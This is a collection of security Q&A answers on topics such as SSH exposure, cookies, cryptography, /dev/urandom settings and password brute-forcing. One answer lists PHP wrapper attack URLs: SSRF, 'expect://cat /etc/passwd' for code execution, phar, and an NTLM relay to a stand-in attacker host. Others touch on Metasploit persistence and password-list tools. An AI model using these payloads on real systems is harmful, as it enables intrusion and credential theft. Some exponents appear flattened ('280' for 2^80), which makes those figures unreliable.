  NATO and its Allies rely on strong and resilient cyber defences to fulfil the Alliance’s core tasks of collective defence, crisis management and cooperative security. [...] NATO signed a Technical Arrangement on cyber defence cooperation with the European Union in February 2016.

Source

Clearly, they are not talking about standard, corporate "cybersecurity".

Since cyber defence is mostly dealt with by governments and probably huge contractor companies, your firm wouldn't deal with it, which may be why you were corrected.


Symantc Endpoint protection keeps detecting clean file as risk

As described on Symantec support website, you can exclude a file or a folder from being scanned by:

  On the Exceptions Policy page, click Exceptions.

  Under Exceptions, click Add > Windows Exceptions > File.

  In the Prefix variable drop-down box, select a common folder.

  Select [NONE] to enter the absolute path and file name.

  When you select a prefix, the exception can be used on different
  Windows operating systems.

  In the File text box, type the name of the file.

  If you select a prefix variable, the path should be relative to the
  prefix. If you select [NONE], type the full path name.

  Note:

  Paths must be denoted by using a backward slash.

  Under Specify the types of scans that will exclude this file, select
  the type of scan (Security Risk, SONAR, or Application control).

  You must select at least one type.

  For security risk scans, under Specify the type of security risk scan,
  select Auto-Protect, Scheduled and on-demand, or All Scans.

  See the help for information about why you might want to limit the
  exception to a specific type of security risk scan.

  Click OK.

You can check the whole process here : hxxps://support.symantec.com/en_US/article.HOWTO80920.html


Get PGP Private Key from RAM analysis RSAKeyFind

From the example you show, you don't continue far -- what is shown is not a valid RSA key pair, only something which superficially looked like one in the eyes of the tool you used.

Assuming you actually obtain a valid RSA key (you don't, apparently, but let's suppose that you find one), then your best bet would probably be to assemble the key with a small custom program invoking OpenSSL (the library) or Bouncy Castle. Or using the inherent capabilities of Java or .NET (both more or less know how to import and export private keys in PKCS#8 format).

I don't know of any good, easy to use ASN.1 DER encoding/decoding tools, except the ones I wrote (that was professionally, I cannot publish them as free software until I rewrite them from scratch, which I may do some day, but certainly not in the next few weeks).


What benefit does the IE setting "Block unsecured images with other mixed content" provide?

The reasoning behind this is that in most cases, the unsecured content is only ad banners, and will not be of any concern. Thus IE allows insecure images on a otherwise secure page by default.

Note that its NOT possible to run an image as JavaScript or executeable code, so a unsecured image cannot affect the page contents on a otherwise secure page.

Other content however, can modify the content on the page, for example a JavaScript loaded over a unsecured Connection could modify the HTTPS page to for example change the action of a form, and if a hacker then modifies the .js file in transit, then they could possible "subvert" the HTTPS page.

However, there is 2 cases where images still might be a concern:

If the image is modified to be "protected by basic auth", then the browser might popup a authentication dialog, that can trick you into thinking the authentication dialog belongs to the HTTPS site. However, IE will warn, see this Picture, if BASIC+HTTP is mixed:

If the attacker uses digest, he will not be able to gain any password information. So never enter any username or password if the dialog carries the warning above, if you're on a HTTPS site. Only DIGEST+HTTP, BASIC+HTTPS or DIGEST+HTTPS will suppress the warning shown above.

Another case where you would want to block insecure images, is if the images itself contain sensitive information, or if sensitive information is transmitted with the images, for example: http://example.org/loadimage.php?creditcardnumber=1234-1234-1234-1234

But both these cases is very uncommon, so you can safely keep the setting off (allow load of insecure images on HTTPS pages)


Secure flag not set to Cookies in .Net MVC application

Your confusion is the result not of a coding or configuration error, but of a misunderstanding about how cookies work.

When the server wants to create or change a cookie, it does so with the Set-Cookie response header. There, the server can also specify how the browser should treat the cookie, e.g. how long to keep it, if it is secure or not, etc. This information is only sent once, when the cookie is first created.

At every request, the client sends all the cookies to the server in the Cookies request header. It then only sends the names and values. The additional information (e.g. the secure flag) is not sent. Those are instructions from the server to the client, and there is no need for the client to repeat the instructions back to the server.

So, a cookie is "secure" if the server included the secure flag in the Set-Cookie header. What the client then sends in the Cookies header is irrelevant. Trying to mark the request cookies as secure, as you do, therefore makes little sense.

So why are the sent cookies not reported as secure in your developer tools? It is simply because the field is not applicalbe to them, and therefore left blank. I don't know how to do it in IE, but if you switch to Chrome you can get a list of all cookies under the "Application" tab, and you can easily see which ones are marked as secure.

Disclaimar: I am not an ASP.NET programmer.


Why is random DH group recommended over a standard group?

Don't discourage these arguments :

A quantum computer prototype is already working and making something. Guess what?
A GPU farm is very affordable nowdays, even for a private researchers. And, yes - 10xGeForce Titan Z can make A GOOD KICK-ASS
There's no actual problem generating/calculating groups "on-site", it's a way faster nowdays

So I do agree with the article you provided as a reference.


Is a USB dongle with an active 3/4G data SIM trackable?

Cellular location without GPS can vary dramatically depending upon many factors. The general working guideline is 1000 feet.

High density areas with micro cells can go much smaller, and low density areas can be miles.


They're definitely not mutually exclusive, because they're orthogonal, they deal with different issues altogether.  One deals with confidentiality, the other with integrity.  @AviD pointed out correctly that the combination of both is called the 'strong * property' which disallows reading or writing from any other level but your own.  This idea was introduced to battle the problem inherent to Biba-LaPadulla:  no state.  If you have three levels, A, B and C, and B can read from A and write to C, then you can traverse data from A to C, even though there are no explicit rules allowing such transfer.  The whole 'no state' thing is so severely limiting that the Biba-LaPadulla is really only taught to security students as the first and simplest security model, it's really a toy, an educational construct.


How should we mitigate threats that are keep coming to our security monitoring system?

Threat intelligence has a common issue today which is a large volume of data generated & coming to the consuming enterprise IT set up & threat intelligence feed bundle has three different usages.

Using threat intelligence data for blocking risks & unwanted connects to your communication to your enterprise setup.
Using threat intelligence data to create new rules set in your security generation & threat monitoring solution including SIEM.
Using threat intelligence indicates to discover the presence of existing hidden threats within your enterprise.
Using threat intelligence data to analyse & visualize the threat landscape as it applies to your company

Each one of these four usages have their own set of actions which needs to be taken.
For organization such as banks threat intelligence data can be save the Zero days kind of threats if it is contextualized properly.

Contextualization of threat intelligence data is next stage of threat intelligence consumption which needs new processes, new technology & organization cooperation to work.


What SSH keys should I generate with ssh-keygen to be safe in a quantum computer based world?

Quantum computing will make many of the currently hard problems solvable in polinomial time. In the view of the practical IT security, it will essentially mean that it will be able to crack most currently used encryption algorithms, including the ones currently supported by ssh-keygen (openssl).

However,

It is true only for a broad range of problems, and not for all.
Despite the strong development efforts, it is still unclear, if quantum computers will be ever practical reality.
openssl is modular, it can be easily extended with new ciphers, and developing a new cipher for it is much more easier, than cracking it.

No currently used ssh key will be proven safe in the quantum computing world. But it is not a major problem, because this world is currently imaginary.


Security of https website which resolves to local ISP (ex. twitter)

The IP address is unrelated to the certificate and thus does not matter when validating the certificate.

It might be that your ISP answered the DNS query with an IP address of an interception device and that the interception device than decided to simply forward the data unchanged to the original target (which can be read from the ClientHello of the SSL handshake) after checking it against some kind of blacklist.

The integrity of the SSL connection itself would not be harmed in this case but of course the ISP might have logged the access. But be aware that SSL only provides protection against sniffing and modifying the data and does not provide privacy, i.e. anybody sniffing on the line can see where you connect to and how many data gets transferred.


Is it really necessary to remove other antivirus software before installing one?

"Is it necessary or is it a way to be forced to only use the one product?"

It depends. There are many, many cases where overlapping AV fight with each other and cases where certain products work well together. As products evolve and add new methods of detection, it becomes increasingly difficult to predict the effects of interaction.

I'm not sure what the marketing advantage is to have a monopoly on the desktop when the customer has already acquired a competitor. So, I'm not sure that is a motivating factor.

However, from a troubleshooting and support perspective, it makes sense for a vendor to side-step the complexity and say to only use one.


Is it insecure to have an SSH server on a workstation?

Very frightening! As a risk, this should be raised to the board - effectively an attacker on the internet only needs to find out that username and password (or an SSH 0-day) and your entire corporate network should be considered compromised. Could the business run without it? Is there anything sensitive on it?

This is a bad idea in so many ways:

It bypasses perimeter controls

It may be impossible to monitor the activities of this administrator - from a governance perspective this is not good. If the company is in a regulated industry this may breach rules. You should build systems so you don't have to trust people 100% - this would help persuade folks not to try something malicious, as they will get caught.
Prevention of attack from outside the perimeter relies entirely on the configuration of that SSH server, as opposed to a defence in depth scenario with firewalls and IDS

It is a key target

A system administrator's workstation can be the crown jewels for an attacker - these should be protected accordingly. If an attacker can get access to it, escalating to the rest of the network is likely to be much easier

It is unnecessary

Large organisations already have a range of options open to them for this sort of functionality. Usually it comes down to access through the normal Remote Access Solution under their domain account to a 'stepping stone' machine inside the network which has an SSH client, then a logon to the admin workstation, then an 'su' equivalent to raise privileges if necessary.

Each step can then have strong controls and logging enforced - a little bit more annoying for the admin (an extra couple of minutes to log in) but much more difficult for an attacker to get through unnoticed.


How can I verify signed commits made by other people?

Instead of blindly accepting a GPG key from an answer here, I would do the "right" thing and get the public key from a reasonable source. GitHub hosts their web flow GPG public key at the following address:

https://github.com/web-flow.gpg

If you decide that you trust this source, and believe it to be a place where GitHub would logically provide it's public GPG key, you can import it with the following command:

curl https://github.com/web-flow.gpg | gpg --import

GPG is all about trust, and understanding where the keys are coming from is a key part of understanding whether or not you trust a key or not. After importing this key, if you decide that you believe the key to be valid, and that it belongs to who it is said to belong to, you can sign the key, optionally publishing your signature to a public key server, acknowledging publicly that you trust that the key itself is valid.


Do household IPv6 addresses introduce vulnerabilities?

Even though IPv6 addresses as such are globally routable, it does not necessarily mean that a system with one is exposed. In many cases (sadly not all), your consumer-grade router will employ stateful firewalling, meaning that new inbound connections will be denied by default. You can test this by performing a port scan of your device from an external IPv6-supporting host. If ports are open externally, you may need to add a firewall somewhere.

Second, there are way too many IPv6 addresses to perform mass scanning and exploitation as is possible with IPv4, so it is unlikely a host will be picked off at random. That said, if attackers can enumerate addresses through other means (e.g. you visit their website from an address), it could still be singled out and targeted.


Share certain information only after death

A little more than a year ago, I was in a situation where I feared for my life. I gave this some thought and here's what I did.

I made a video recording containing everything I wanted people to know after I die, then I stored the video in a TrueCrypt volume and gave two copies to my two most trusted friends, and the password to my father and my then-girlfriend.

I told my dad and my then-girlfriend not to share the password with anybody, and told my trusted friends to share the file only with my dad and my then-girlfriend, and only after I die or after I'm reasonably believed to be dead (due to the nature of the danger, a sudden disappearance was a likely possibility).

The effectiveness of this arrangement comes from my trust in those people, a trust that has been built over many years. I've chosen this arrangement because I couldn't trust a purely automated solution. For example, I set up a Dead Man's Switch message that contained trivial to low-profile information, but at the time, there was a possibility that I'd disappear for weeks or months after which I could still be alive. In that period The Switch would have been activated.

Another solution is to hire a lawyer, draft your will, give him the password, and instruct him to share it only in the case of your death. This way, your password is safe by the power of the law (your lawyer can't breach the confidentiality, and even if he did, the files are with other people). Your lawyer has no access to the information, and your loved ones will get the password after your death.


Is there any documentation or reviews about LINE messenger security?

Most pages are in Japanese, but they do have a nice blog with the occasional english page. Altho this one isn't about security specific, it does talk about how they send messages http://tech.naver.jp


How to stop people from bypassing firewall blocks by using Google cache?

You can block access to "http://webcache.googleusercontent.com".

Although you have to ask yourself why you are blocking access to these sites? The cached version will not allow users to log in or navigate to new pages - it is effectively read only access.

In most cases where a block list is the preferred approach (as opposed to a system that blocks every domain that isn't white listed) read only access is fine.


Is using the JWT token to perform queries, as opposed to a raw value in its payload, considered a good practice?

I think the section of the Firebase docs that you link to answers your question (I've quoted that section below for reference).
I believe this is trying to avoid you putting Insecure Direct Object Reference (IDOR) vulnerabilities into your application. OWASP has a great slide deck about IDOR vulns.
The simple example of IDOR vuln is when you have a URL like this:
https://mybank.com/ViewBalance?userID=7

and if you change it to userID=8 then you can see someone else's balance. That's bad.
Basically, never trust the user to tell you who they are; read that from a trusted authentication token. Your firebase docs say pretty much exactly that:

After you receive the ID token by HTTPS POST, you must verify the integrity of the token.

If you're getting the userID from a google-backed auth token, and you're following Google's advice for how to properly validate that token, then you're probably doing right already.
It's probably also worth spending a few minutes convincing yourself that this can't be spoofed, for example: how does the JWT signature work and could an end-user spoof a signature? How are the JWTs transmitted to the client, and how are they stored at the client? How big is the risk that an attacker could get hold of another user's JWT? Etc.

Just for reference, here is the section from the Firebase docs that you link to:

Verify the integrity of the ID token
After you receive the ID token by HTTPS POST, you must verify the integrity of the token. To verify that the token is valid, ensure that the following criteria are satisfied:

The ID token is properly signed by Google. Use Google's public keys (available in JWK or PEM format) to verify the token's signature. These keys are regularly rotated; examine the Cache-Control header in the response to determine when you should retrieve them again.

The value of aud in the ID token is equal to one of your app's client IDs. This check is necessary to prevent ID tokens issued to a malicious app being used to access data about the same user on your app's backend server.

The value of iss in the ID token is equal to accounts.google.com or https://accounts.google.com.

The expiry time (exp) of the ID token has not passed.

If you want to restrict access to only members of your G Suite domain, verify that the ID token has an hd claim that matches your G Suite domain name.

Rather than writing your own code to perform these verification steps, we strongly recommend using a Google API client library for your platform, or a general-purpose JWT library. For development and debugging, you can call our tokeninfo validation endpoint.


What do I need to configure, to make sure my software uses /dev/urandom?

General advice

Any program written in Java

Add

-Djava.security.egd=file:///dev/urandom switch

or

-Djava.security.egd=file:/dev/./urandom

to the command line invocation used to start the Java process.  (Without this, Java uses /dev/random to seed its SecureRandom class, which can cause Java code to block unexpectedly.)

Alternatively, in the $JAVA_HOME/jre/lib/security/java.security configuration file, add the line

securerandom.source=file:/dev/./urandom

Footnote: In the above examples, you need the crazy-looking filename, e.g., the extra /./, to trick Java into accepting your filename.  If you just use /dev/urandom, Java decides you didn't really mean it and replaces what you wrote with /dev/random.  Craziness!

Chroot

If you are starting some service in a chroot environment, don't forget to create the /dev/urandom device inside your chroot directory.

Specific software

Apache mod_ssl

Use

SSLRandomSeed startup file:/dev/urandom 512
SSLRandomSeed connect file:/dev/urandom 512

in the mod_ssl configuration file.  Avoid using file:/dev/random with SSLRandomSeed.

Cyrus POP3, IMAPD, and SASL

Compile Cyrus SASL (libsasl) with the configuration flag  --with-devrandom=/dev/urandom.

By default, Cyrus POP3 reads from /dev/random.  I couldn't find any configuration setting to change this, short of recompiling.

OpenLDAP

Add

TLSRandFile /dev/urandom

to the slapd.conf configuration file.  (This hopefully should be the default, but some guides misleadingly suggest using /dev/random, so you might want to double-check.)

Postfix

Use

tls_random_source = dev:/dev/urandom

in the main.cf configuration file, or

sudo postconf -e 'tls_random_source = dev:/dev/urandom'

from the command line.


Why hasn't it become the norm to inhibit repeated password guesses?

I'd like to challenge your assumption that this isn't being done.

[warning: wild approximations to follow]

Remember that a successful brute-force attack will require millions or billions of guesses per second to do the crack in a reasonable amount of time (say, a couple hours to a month depending on the strength of your password). Even a rate-limit of 100 password attempts per second would increase the crack time from a month to hundreds of thousands of years. Maybe my standards are low, but that's good enough for me, and no human user legitimately trying to get into their account will ever notice it. Even better if the rate-limit was by IP rather than by username just to prevent some kinds of Denial-Of-Service attacks.

Also, I don't know which Linux distribution you're using, but on my Ubuntu and CentOS systems, when I mistype my password at either the GUI or terminal login screens, it locks for 1 second before re-prompting me.

Even if the server isn't actively rate-limiting login attempts (which they really should be), just the ping time by itself is enough to slow you down to millions of years. You'll probably DDOS the server before getting anywhere close to 1 billion guesses / second. The real money is in getting a copy of the hashed passwords database and feeding that into a GPU rig where billions of guesses per second are possible.

TL;DR: if you are going to put effort into hardening your login server, you'll get more bang for your buck by improving your password hashing, and making your database hard to steal than by implementing rate-limiting on your login screen.

UPDATE: Since this went viral, I'll pull in something from the comments:

This logic only applies to login servers. For physical devices like phones or laptops, a "3 attempts and it locks" or a "10 attempts and the device wipes" type thing still makes sense because someone could shoulder-surf while you're typing your password, or see the smudge pattern on your screen, or know that a 4-digit PIN only has 10,000 combinations anyway, so the number of guesses they need to do is very very much smaller.


How many different passwords for a Linux System?

I really do like @Serge Ballesta's answer, since my questionlike comment was meant to direct the OP that exact way. Although I will try to answer the question of:
"Where can I reuse a password without loosing too much safety?"
Let us look at the given list:

Full disk encryption
User login
Root login
Password manager encryption
Backup encryption
BIOS Password
GRUB Password

Since Full disk encryption and Backup encryption is basically the same thing (besides the fact there is another timestamp in it): I suggest it is safe enough to reuse the strong password for both of them. Typically you want your backup as new as it can without being broken/infected like your current system. Thus it is propably good enough for an attacker to obtain one of them.

Since you mentioned that your User login has administrative rights I guess it is O.K. if your Root login has the same Password or maybe an easy to remember variation of your User's Password.

(Since some of you want to kill me with fire now) I will focus on where I would definitly not reuse passwords.

Password manager encryption is IMO a save bet here. If you already have a password manager and you just have to remember one strong password, why would you reuse it?

I am less sure about BIOS Password and GRUB Password. I will not give any opinion on that, because I don't want to cause you trouble.

As others already mentioned: If you are able to store seven different and strong passwords in your brain for eternity: forget all my previous points.
DISCLAIMER: This is an opinion-based answer and I will not guarantee that reusing passwords this way is as safe as using different strong passwords.

PS: Please consider also the fact that sometimes wrench > password strength. (https://xkcd.com/538/)


My Samsung SSD password is case insensitive, how does this affect Full Disk Encryption?

The strength of an encryption solution is directly tied to the number of possible passwords.  A brute force attack simply tries all possible passwords so it will succeed more quickly if the number of distinct passwords is smaller.  Case insensitivity means the attacker only has to try lower case passwords since 'EXAMPLE', 'eXamplE' and 'ExAmPlE' would all be seen as the same password as 'example'.

The number of attempts required for a brute force attack is roughly half the total number of possible passwords which is calculated by taking the number of distinct characters to the power of the length of the password.  A typical example character set is upper case, lower case, digits and special characters, which might add up to 96 distinct characters.  Removing upper case would decrease the number of passwords in this example from 96 to 70, assuming the three other types are all included.  So, for an 8 character password this change would weaken the password strength by a factor of approximately 12.5.  [That's 96^8/70^8.]

In a situation where you have diminished password complexity, it becomes much more important that you use a long password.  It's a subtle point, but the diminished complexity erodes the value of extra length.  For example, 96^9/70^9 is about 17.2, so going from 8 character passwords to 9 character passwords is more effective if the passwords are also more complex.


The email system is compromised - what can you do?

That depends on several things. First you need to discover who got 0wned. It sounds like someone has a backdoor somewhere, the question becomes whose end is it on?

Below are some potential things to check after scanning every machine with your AV solution + Malwarebytes + I would also reccomend combofix from http://www.bleepingcomputer.com/combofix/how-to-use-combofix
as a third scan.

Has your client performed the same scans to ensure it's not on their end?

What email servers are being used currently on both ends?

I see a few possibilities if no backdoors are found.

No encryption during delivery of email (You should run TLS)

There is a mole with some type of connection (probably financial) to the transactions.

The receiver's email could be setup on their mail server to automatically forward all mail to another address at your competitors.

Lastly if there is a wireless network, disable WPS and make sure you have a new stronger WPA2 encryption key.


SHA-1, as a hash function, is known to be "slightly shaky". It is a 160-bit hash function (its output is a sequence of 160 bits); as such, it should offer 280 resistance to collisions, whereas it seems that its true resistance is closer to 261 or so.

However, OAEP does not ask much from its underlying hash function. It seems that collision resistance is not actually needed at all to ensure the security of the encryption system. See this article for details (it is a bit technical).

Bottom-line: we do not know of any attack that would work against RSA-OAEP by leveraging any weakness of SHA-1; we are not even sure whether such an attack can exist at all. In that sense, there is no known advantage, from a cryptographic point of view, in switching from SHA-1 to another hash function in the context of RSA-OAEP.

However, the current fashion is to shoot SHA-1 on sight and insist on switching to one of the SHA-2 functions (e.g. SHA-256 or SHA-512) systematically. Therefore, using SHA-256 is good for public relations, and will save you some time, because sticking to SHA-1 will require justifying yourself to a lot of people.

Note that SHA-256 has a larger output (256 bits), which imposes a lower limit on the size of the data that you will be able to encrypt. If using a 2048-bit RSA public key (256 bytes), the maximum message size with RSA-OAEP+SHA-1 will be 214 bytes (1712 bits), whereas it will be 190 bytes (1520 bits) for RSA-OAEP+SHA-256. If all you are encrypting are keys for symmetric encryption then this should not matter in practice.


Should I worry about a cmd opening and typing "echo off"?

Seeing echo off in a prompt will only tell you that a batch script is running, and that commands following the echo off will not be displayed in the terminal.

Check your device for any unknown connected USB devices, such as a 'rubber ducky'.

Go through msconfig (Windows Key + R, input 'msconfig' and run it) you can examine the contents of that dialog for any startup scripts.


what does these unknown request_uri values against my nginx web server mean?

The Internet is a hostile place for servers.

As soon as you open a service expect it to be scanned by automated bots of all kinds: some will try to find a vulnerability, some will try hundreds of passwords, etc. These are automated bots who scan the web as a whole, they do not mean that you are or will be the victim of a targeted attack.

In you screenshot, not only the rule severity is flagged as "Informational" but also the requested URL do not exist on your server ("status 404"), so there is nothing worry here.

Use this however as warning to check that you apply updates regularly, use secure passwords and read about how to harden your server configuration. All these bots are just looking for low-hanging fruits so, as long as you follow IT-security good-practices you should have no worry with them.


How to calculate combined false acceptance/rejection rates of multiple biometrics authentication systems?

Since the rates of each device are independent of each other, and the user is authenticated when any one of the devices authenticates the user, we have the following information:

A user is rejected if and only if all three devices reject him (him is used throughout to represent him or her), therefore, the combined rejection rate becomes:

FR = fr1 * fr2 * fr3

So we know that introducing more biometrics systems lower the overall false rejection rate.

Now, to calculate the rate that any one of these produces a false accept:

FA = 1 - Niether 1, nor 2, nor 3 produce fa
   = 1 - [(1 - fa1)(1 - fa2)(1 - fa3)]
   = 1 - [(1 - fa1 - fa2 + fa1fa2)(1 - fa3)]
   = 1 - (1 - fa1 - fa2 + fa1fa2 - fa3 + fa1fa3 + fa2fa3 - fa1fa2fa3)
   = 1 - 1 + fa1 + fa2 + fa3 - fa1fa2 - fa2fa3 - fa3fa1 + fa1fa2fa3
   = fa1 + fa2 + fa3 - fa1fa2 - fa2fa3 - fa3fa1 + fa1fa2fa3


Encryption and the "security time decay" of prior encrypted data

One notion is called Perfect Forward Secrecy. This applies to situations where you encrypt data and decrypt it almost simultaneously, but you worry about an attacker who would later on obtain a copy of the decryption key. This is a restrictive model, but it applies to SSL connections: the server private key is long-lived (usually, it is stored in a local file) and thus subject to future theft; whereas there is no legitimate need to decrypt exchanged data at a future date.

In the case of SSL, the solution relies on the "DHE" (Diffie-Hellman Ephemeral) cipher suites. Roughly speaking, client and server use a Diffie-Hellman key agreement, with fresh private exponents, to establish the session keys. The server private key (the one corresponding to the public key in the server certificate) is used only for signing (so that the server is duly authenticated by the client). Therefore, ulterior theft of the server private key does not allow the attacker to decrypt data which was exchanged beforehand. The Diffie-Hellman private exponents and the session key, being transient (linked to that session only), are never stored on a physical medium, and they are forgotten once the session is closed; therefore, they are much less susceptible to ulterior theft.

Moore's law and overall increase in available computing power is not a big issue, because it is predictable: such computing power increases by a factor of less than 2 every year. Therefore, it is easy to oversize keys a bit to account for that factor: in the case of symmetric encryption, just add one key bit per year. This means that AES with a 192-bit key will be fine for at least one century, at least with regards to such technological advances. For RSA, Diffie-Hellman, Rabin-Williams or El-Gamal, aim at 8192-bit keys for the same protection level (384-bit key for elliptic curves).

More worrisome are scientific advances, namely potential discovery of faster algorithms for, e.g., integer factorization. Such advances are much less predictable than technological advances; however, they also seem to happen quite rarely (the last big advance in factorization was the invention of the Number Field Sieve, and that was 20 years ago). The quantum computer is an unknown joker here: if it can ever be built, then it utterly destroys asymmetric cryptography (well, at least, the factorization-based and discrete-log based algorithms, including the elliptic curve variants; possibly, McElliece encryption may resist).

Generally speaking, the biggest threat for long-term confidentiality of encrypted data is private key theft. When applicable, PFS really improves things by a fair margin. Worrying about Moore's law or quantum computing is very good news indeed: it means that you have already thwarted all easier attack vectors, which is no small achievement. Thinking that "encryption is an infallible lockbox" is not completely preposterous: if done properly, the encryption part itself will add negligible risks to what you must already face when it comes to storing a private key and keeping it safe while not losing it altogether.


Can string concatenation in file_get_contents() be exploited in PHP?

Per the comment above you could use path truncation on an older version of PHP, however, as there is no data before the attacker controlled data you can use wrappers (https://www.php.net/manual/en/wrappers.php). This means the vulnerability is not just a directory traversal, but can be used for a number of attacks, including SSRF and remote code execution. Here are a few examples:

Server side request forgery:
https://example/file.php?path=http://internalsystem/path/file?junk=

RCE via expect:
https://example/file.php?path=expect://cat /etc/passwd;echo

RCE via phar:
https://example/file.php?path=phar://tmp/uploadedfile
(needs a .txt extension on the uploaded file)

RCE via NTLM relay (if its a windows box)
https://example/file.php?path=\\attackerip\nonexitentfile
You'll need to set up tooling for this, such as responder (https://github.com/lgandx/Responder)

Depending on the application you may also be able to use the ftp:// and ssh:// wrappers to run commands or access other files on the server.
Hope this helps, and good luck


Incoming email with smime.p7s attachment

I would suggest changing the policy to not quarantine "bad" mails, instead, use the policy word "DISCARD". But for p7s I would suggest stripping the attachment out, as these are signatures. However, they can contain S/MIME encrypted mails causing viruses to leak through. Stripping the attachment out and letting the rest through is safe.

For p7m, pif, scr, its better to DISCARD the whole mail silently without notifying either sender or receivr, without quaratine.


In order to gain persistence, metasploit uses some modules. Some create a registry key which starts the exe you want upon startup and some create services. A simple migration won't help, because upon next startup, svchost.exe will start as the original binary without your payload in memory.


Need help writing code to brute-force a password that I partially forgot

No need to re-invent the wheel.

CUPP is your best bet. It's a python script that takes average data about someone, keywords you think are relevant, and even uses LEET mode to turn E's in 3's, etc. This will spit out a password list for you in seconds and you can then run it with your cracking tool of choice.


Everything is unbreakable until it isn't. Knowing whether a system will ever be broken in the future requires more knowledge than simply can't be had today.

But to the best of our knowledge, all evidence suggests that today's commercial encryption (RSA, ECC, AES, .etc) is, in fact, unbreakable. That includes digital signatures, secure web traffic, consumer tools like truecrypt and 7-zip, and many of the things you use every day. As far as we know, they are impossible for anyone, from your neighbor to your NSA, to break....

Unless you count brute-force password guessing, side-channel attacks, and other forms of circumvention:

And that's the point -- there's always a weak point somewhere. Security can't be perfect. But the weak point isn't the cryptography. Instead it's the fact that your password is your girlfriend's dog's name spelled backwards. Or the fact that you stored a second copy of the document on Dropbox. Or the fact that a spy camera was recently installed in your ceiling.

Modern encryption is either completely unbreakable, or unbreakable enough. There really is no practical distinction between the two concepts, nor would you ever really be able to tell them apart.


Source of http://t.sigopn03.com/... tracking-style link in an email signature?

Quick lookup shows domain is owned by MARKMONITOR, INC.

https://en.wikipedia.org/wiki/MarkMonitor

  MarkMonitor Inc. is an American software company founded in 1999. It
  develops software intended to protect corporate brands from Internet
  counterfeiting, fraud, piracy, and cybersquatting. It also develops
  and publishes reports on the prevalence of brand abuse on the
  Internet. MarkMonitor acquired AllDomains in 2001 and DtecNet in 2010.
  MarkMonitor was then purchased by Thomson Reuters in 2012. In 2016,
  the IP division of Reuters, including MarkMonitor was sold to two
  venture capital companies, under the new parent company "Clarivate
  Analytics".


The best way is to boot your computer from a LiveCD, copy the encrypted files from the USB drive to the computer, remove the USB drive, and decrypt the files.  The LiveCD environment is a mix of read-only media (the boot disk) and RAM disk (the user-modifiable parts of the filesystem), so anything you do will be wiped away when you shut your computer down.

If you're feeling especially paranoid, remove your computer's hard drive before booting.


Does changing credit card numbers provide better security over time?

Changing your credit card regularly may "provide better security over time," and it is unlikely to degrade your security significantly.  That being said, "over time" is a good way of putting it - you're shifting the odds, nothing more.

It might be appropriate to say: risk = threat x vulnerability.  By rotating your card, you may lower some aspects of your vulnerability (but not all).  The threat is unaffected.  Therefore, you still have risk.

Let me walk you through the thinking that leads me to say this.

Firstly, let's take as a given that card details - number, expiration, name - are enough to allow a card to be used somewhere.  99 out of 100 Internet retailers will require CVV, but that means 1 out of 100 won't.  Card Not Present transactions have weaker requirements than Card Present, and when someone steals your card number, they can find a way to take advantage of it, somewhere, somehow.

So that's your threat - if someone gets your card details, and the card is active, they can take advantage of it.  Let's talk about your vulnerability.

In some cases, changing your card doesn't lower your vulnerability.  Let's say you bought a Snuggi at Target in November 2013; Target was compromised; the card you used is now known to attackers.  They turn around and use it.  Your annual card cycling doesn't happen until January 2014 - the attackers have a 2 month window to take advantage of your card.

Where your system helps you is when something old gets compromised.  Let's say you shopped at Alice's Internet Doodads back in November 2013.  AID was compromised in February 2014, and their entire card database got stolen.  You, however, are safe - because you changed your card number in January 2014.  You have a more limited window of vulnerability based on your card cycling.

(Note that the advent of Account Updater, this may not be true if you previously used the merchant that the attacker tries to use.  Maybe someone more familiar with the complexities of Account Updater can weigh in on how a cardholder-initiated account update will get propagated.  But it does introduce a case where "old CC# will work".)

I did mention that your system is unlikely to degrade your security significantly - but it can degrade it..  One threat vector for cards is during card issuance - they mail you your new card through the post, and you have to call from the right phone to activate it.  But the post is not at all high security, and it's not impossible to spoof the activation call (at the very worst, the attacker steals mail from your mailbox, breaks into your home, activates the card, and steals your Xbox to boot!)  Since you're receiving cards more often than average, your risk goes up slightly.  It's not huge, but it is a change.


What can an attacker do with a stolen SSL private key? What should the web admin do?

Attack Vectors

If an attacker uncovers your SSL private key, you are minimally vulnerable to the following attacks:

1) Traffic Eavesdropping

To the attacker, everything being sent over SSL can be decrypted and should consequently be thought of as cleartext. This means passwords, credit card numbers, and other Personal and Private Information is vulnerable to being either harvested or leveraged against you as the attack escalates.

2) Man-In-The-Middle

Part of the reason to use an SSL certificate is to uniquely authenticate yourself to the clients connecting to your server. If the private key is stolen, a hacker can create a Man-In-the-Middle attack where data flowing either from the server-to-client or client-to-server is modified in-transit. This could be done to ask a user to reauthenticate (and thereby surrender their password), ask for a credit card number, or implant malware into file downloads.

As you can see, if someone has compromised your SSL certificate, they can quickly escalate the attack to either gain unauthorized access to your system or attack you or your users.

How to Recover

If a private key compromise is suspected, one should add the SSL Certificate to the Certificate Revocation List (CRL). This will alert other participants in the Public Key Infrastructure (PKI) that the certificate in question can no longer be trusted. In order to do this, you will usually need to login to the account you created with the Certificate Authority (CA) who issued the SSL Certificate or otherwise notify them of the suspected breach. Godaddy provides instructions for this online, as does Network Solutions.

With the SSL certificate revoked, you will need to again go through the process of generating a new certificate and private key in order to re-enable SSL services for your web site or application.

If your site has been breached, I would recommend recovering in the following steps:

Shutdown the compromised service. It is generally not advisable or ethical to leave yourself or your users at risk while you fix things.
Revoke the SSL Certificate. By adding the certificate to the CRL, you're notifying the world that it can no longer be trusted. This should be done as soon as possible.
Determine the cause of the Breach and Patch the Problem. It will do you no good to revoke and reissue the certificate if you don't know how you were compromised in the first place. Try to figure this out so that before you put everything back online you aren't simply compromised again. Fix the issue.
Generate a New SSL Certificate. As mentioned above, you'll need to generate a new certificate in order to bring things back online securely.
Resume Services. After you've addressed the root cause of the security breach, revoked the certificate, and generated a new cert from scratch, you should be good to bring things back online.
Notify Users / Stakeholders. It is considered a best practice to provide full disclosure and notify those who may have been damaged by the breach of what happened. In some industries (such as healthcare) this may even be required by law. However, at this point you should defer to corporate/government policy for specifics.


Tokenization - Is it bad practice to reuse tokens?

Yes, it introduces risk, but might be required, depending on what you're doing with the data.

Imagine a database of lots of people. Perhaps it includes names, addresses, and dates of birth, but the dates of birth aren't encrypted or tokenised, to allow for easy sending out birthday reminders.

If an attacker who steals the database can identify the name associated with a given date of birth (maybe they are on the system, so know their own name and DoB), then they can now also identify anyone else with the same name. They still can't identify the associated address, but they may be able to start correlating data - looking for people whose dates of birth are known with the same first name, for example, aiming to discover the token which corresponds to common surnames. By repeating this process (which is laborious, depending on the data, and whether details can be reliably cross-referenced), they can build up more and more information about the contents of the database.

